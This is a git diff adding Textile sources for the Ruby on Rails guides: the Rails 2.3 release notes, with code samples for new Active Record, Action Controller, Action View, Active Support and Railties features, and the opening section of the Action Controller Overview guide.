+The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
+
+* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
+
+h3. Ruby 1.9.1 Support
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. 
+
+h3. Active Record
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+h4. Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+<ruby>
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+</ruby>
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
+
+<ruby>
+accepts_nested_attributes_for :author, 
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+</ruby>
+
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+
+h4. Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+<ruby>
+User.transaction do
+    User.create(:username => 'Admin')
+    User.transaction(:requires_new => true) do
+      User.create(:username => 'Regular')
+      raise ActiveRecord::Rollback
+    end
+  end
+
+  User.find(:all)  # => Returns only Admin
+</ruby>
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+
+* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
+
+h4. Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+<ruby>
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+</ruby>
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
+* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
+
+h4. Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
+
+h4. Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
+
+<ruby>
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+</ruby>
+
+You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+<ruby>
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+</ruby>
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just +each+): 
+** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
+** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
+
+h4. Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
+
+<ruby>
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+</ruby>
+* Lead Contributor: L. Caviola
+
+h4. Find with having
+
+Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+<ruby>
+developers =  Developer.find(:all, :group => "salary",
+  :having => "sum(salary) >  10000", :select => "salary")
+</ruby>
+
+* Lead Contributor: "Emilio Tagua":http://github.com/miloops
+
+h4. Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: "Dov Murik":http://twitter.com/dubek
+* More information:
+** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
+** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
+
+h4. Other Active Record Changes
+
+* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
+* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
+* A bug in quoting table names in some +has_many :through+ associations was fixed.
+* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
+* Better error messages on failed +find_by_attribute!+ calls.
+* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
+* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
+* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
+
+h3. Action Controller
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+h4. Unified Rendering
+
++ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+<ruby>
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+</ruby>
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+<ruby>
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+</ruby>
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
+
+h4. Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
+
+* More Information:
+** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
+** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
+
+h4. HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+
+<ruby>
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+</ruby>
+
+* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
+* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
+
+h4. More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+
+* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
+
+h4. Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
+
+h4. MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+<ruby>
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+</ruby>
+
+The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
+
+h4. Optimization of +respond_to+
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
+
+h4. Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
+
+h4. Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
+
+In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
+
+h4. Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+h4. Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
+* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
+* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
+* The +:requirements+ option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* +polymorphic_url+ does a better job of handling objects with irregular plural names.
+
+h3. Action View
+
+Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+h4. Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+</ruby>
+
+You can write this view in Rails 2.3:
+
+<erb>
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+</erb>
+
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information:
+** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
+** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
+
+h4. Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+<ruby>
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+</ruby>
+
+* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
+
+h4. Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
+
+<ruby>
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+</ruby>
+
+* Lead Contributor: "Sam Oliver":http://samoliver.com/
+
+h4. AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+
+h4. Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.
+
+* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
+
+h4. grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
+
+<ruby>
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+</ruby>
+
+returns
+
+<ruby>
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+</ruby>
+
+h4. Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+<ruby>
+select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
+</ruby>
+
+returns
+
+<ruby>
+<select name=“post[category]“>
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled=“disabled“>private</option>
+</select>	
+</ruby>
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+<ruby>
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+</ruby>
+
+* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
+* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
+
+h4. A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
+
+<ruby>
+config.action_view.cache_template_loading = true
+</ruby>
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+h4. Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
+* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
+* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
+* +current_page?+ now works properly even when there are multiple query parameters in the URL.
+
+h3. Active Support
+
+Active Support has a few interesting changes, including the introduction of +Object#try+.
+
+h4. Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
+
+* More Information: "try()":http://ozmm.org/posts/try.html.
+
+h4. Object#tap Backport
+
++Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+h4. Swappable Parsers for XMLmini
+
+The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+<ruby>
+XmlMini.backend = 'LibXML'
+</ruby>
+
+* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/ 
+* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
+
+h4. Fractional seconds for TimeWithZone
+
+The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
+
+<ruby>
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+</ruby>
+
+* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
+
+h4. JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+h4. Other Active Support Changes
+
+* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
+* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
+* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
+* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
+* +number_to_phone+ accepts 7-digit phone numbers now.
+* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
+
+h3. Railties
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+h4. Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
+** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
+** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
+** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
+
+h4. Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
+
+<ruby>
+rake rails:template LOCATION=~/template.rb
+</ruby>
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
+* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
+
+h4. Quieter Backtraces
+
+Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+
+h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+h4. rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
+
+* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
+
+h4. Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
+* The default +environment.rb+ file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the +rails+ command, or add them later with +rake rails:generate_dispatchers+).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+h3. Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
+* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
+* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
+* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
+* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
+* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
+* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
+* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+h3. Credits
+
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/vendor/rails/railties/guides/source/action_controller_overview.textile b/vendor/rails/railties/guides/source/action_controller_overview.textile
new file mode 100644
index 00000000..054ca999
--- /dev/null
+++ b/vendor/rails/railties/guides/source/action_controller_overview.textile
@@ -0,0 +1,776 @@
+h2. Action Controller Overview
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+endprologue.
+
+h3. What Does a Controller Do?
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
+
+h3. Methods and Actions
+
+A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+<ruby>
+class ClientsController < ApplicationController
+  def new
+  end
+end
+</ruby>
+
+As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
+
+<ruby>
+def new
+  @client = Client.new
+end
+</ruby>
+
+The "Layouts & rendering guide":layouts_and_rendering.html explains this in more detail.
+
++ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
